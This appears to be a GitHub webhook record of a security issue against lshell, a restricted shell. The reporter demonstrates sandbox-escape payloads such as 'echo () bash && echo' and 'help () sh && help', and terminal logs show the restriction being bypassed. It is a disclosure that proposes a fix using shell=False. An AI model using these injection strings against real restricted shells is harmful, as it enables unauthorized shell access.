{"action":"created","issue":{"url":"https://api.github.com/repos/ghantoos/lshell/issues/151","repository_url":"https://api.github.com/repos/ghantoos/lshell","labels_url":"https://api.github.com/repos/ghantoos/lshell/issues/151/labels{/name}","comments_url":"https://api.github.com/repos/ghantoos/lshell/issues/151/comments","events_url":"https://api.github.com/repos/ghantoos/lshell/issues/151/events","html_url":"https://github.com/ghantoos/lshell/issues/151","id":172421828,"number":151,"title":"SECURITY ISSUE: Inappropriate parsing of command syntax","user":{"login":"Snawoot","id":3524671,"avatar_url":"https://avatars.githubusercontent.com/u/3524671?v=3","gravatar_id":"","url":"https://api.github.com/users/Snawoot","html_url":"https://github.com/Snawoot","followers_url":"https://api.github.com/users/Snawoot/followers","following_url":"https://api.github.com/users/Snawoot/following{/other_user}","gists_url":"https://api.github.com/users/Snawoot/gists{/gist_id}","starred_url":"https://api.github.com/users/Snawoot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Snawoot/subscriptions","organizations_url":"https://api.github.com/users/Snawoot/orgs","repos_url":"https://api.github.com/users/Snawoot/repos","events_url":"https://api.github.com/users/Snawoot/events{/privacy}","received_events_url":"https://api.github.com/users/Snawoot/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/ghantoos/lshell/labels/bug","name":"bug","color":"eb6420"},{"url":"https://api.github.com/repos/ghantoos/lshell/labels/security","name":"security","color":"e11d21"}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":26,"created_at":"2016-08-22T10:45:02Z","updated_at":"2016-09-19T20:46:38Z","closed_at":null,"body":"Debian 8 **without installed sudo**, lshell version e72dfcd:\r\n\r\n```\r\nvladislav@dt1:~$ ssh testuser@192.168.122.219\r\ntestuser@192.168.122.219's password: \r\n\r\nThe programs included with the Debian GNU/Linux system are free software;\r\nthe exact distribution terms for each program are described in the\r\nindividual files in /usr/share/doc/*/copyright.\r\n\r\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\r\npermitted by applicable law.\r\nLast login: Mon Aug 22 13:26:43 2016 from 192.168.122.1\r\nYou are in a limited shell.\r\nType '?' or 'help' to get the list of allowed commands\r\ntestuser:~$ ?\r\ncd  clear  echo  exit  help  history  ll  lpath  ls  lsudo\r\ntestuser:~$ bash\r\n*** forbidden command: bash\r\ntestuser:~$ echo () bash && echo\r\ntestuser@debian:~$ ps -f\r\nUID        PID  PPID  C STIME TTY          TIME CMD\r\ntestuser  2108  2107  0 13:27 pts/1    00:00:00 /usr/bin/python /usr/bin/lshell\r\ntestuser  2109  2108  0 13:27 pts/1    00:00:00 /bin/sh -c echo () bash && echo\r\ntestuser  2110  2109  0 13:27 pts/1    00:00:00 bash\r\ntestuser  2115  2110  0 13:28 pts/1    00:00:00 ps -f\r\ntestuser@debian:~$ \r\n```\r\n\r\nIt is insecure to pass any untrusted command to real shell. I suggest, command parsing should be completely rewritten and https://github.com/ghantoos/lshell/blob/f55e0040c7e212f4b7a018559437c048c6c980f0/lshell/utils.py#L92 has to be replaced with call passing explicit argument list and `shell=False`.\r\n\r\nAll other countermeasures unable to eliminate security problems completely."},"comment":{"url":"https://api.github.com/repos/ghantoos/lshell/issues/comments/248121094","html_url":"https://github.com/ghantoos/lshell/issues/151#issuecomment-248121094","issue_url":"https://api.github.com/repos/ghantoos/lshell/issues/151","id":248121094,"user":{"login":"Snawoot","id":3524671,"avatar_url":"https://avatars.githubusercontent.com/u/3524671?v=3","gravatar_id":"","url":"https://api.github.com/users/Snawoot","html_url":"https://github.com/Snawoot","followers_url":"https://api.github.com/users/Snawoot/followers","following_url":"https://api.github.com/users/Snawoot/following{/other_user}","gists_url":"https://api.github.com/users/Snawoot/gists{/gist_id}","starred_url":"https://api.github.com/users/Snawoot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Snawoot/subscriptions","organizations_url":"https://api.github.com/users/Snawoot/orgs","repos_url":"https://api.github.com/users/Snawoot/repos","events_url":"https://api.github.com/users/Snawoot/events{/privacy}","received_events_url":"https://api.github.com/users/Snawoot/received_events","type":"User","site_admin":false},"created_at":"2016-09-19T20:46:37Z","updated_at":"2016-09-19T20:46:37Z","body":"@ghantoos I found attack vector suitable for all systems with or without sudo:\r\n\r\n**Querying help before escape is important for reproduction!**\r\n\r\n### Debian\r\n```\r\nvladislav@dt1:~/lshell$ lshell\r\nYou are in a limited shell.\r\nType '?' or 'help' to get the list of allowed commands\r\nvladislav:~$ ?\r\ncd  clear  echo  exit  help  history  ll  lpath  ls  lsudo\r\nvladislav:~$ echo FREEDOM! && help () sh && help\r\nFREEDOM!\r\n$ which sudo\r\n/usr/bin/sudo\r\n```\r\n### FreeBSD\r\n![BREACH](http://i.imgur.com/1EcmHWw.png)"}}
{"actor":{"display_login":"Snawoot"}}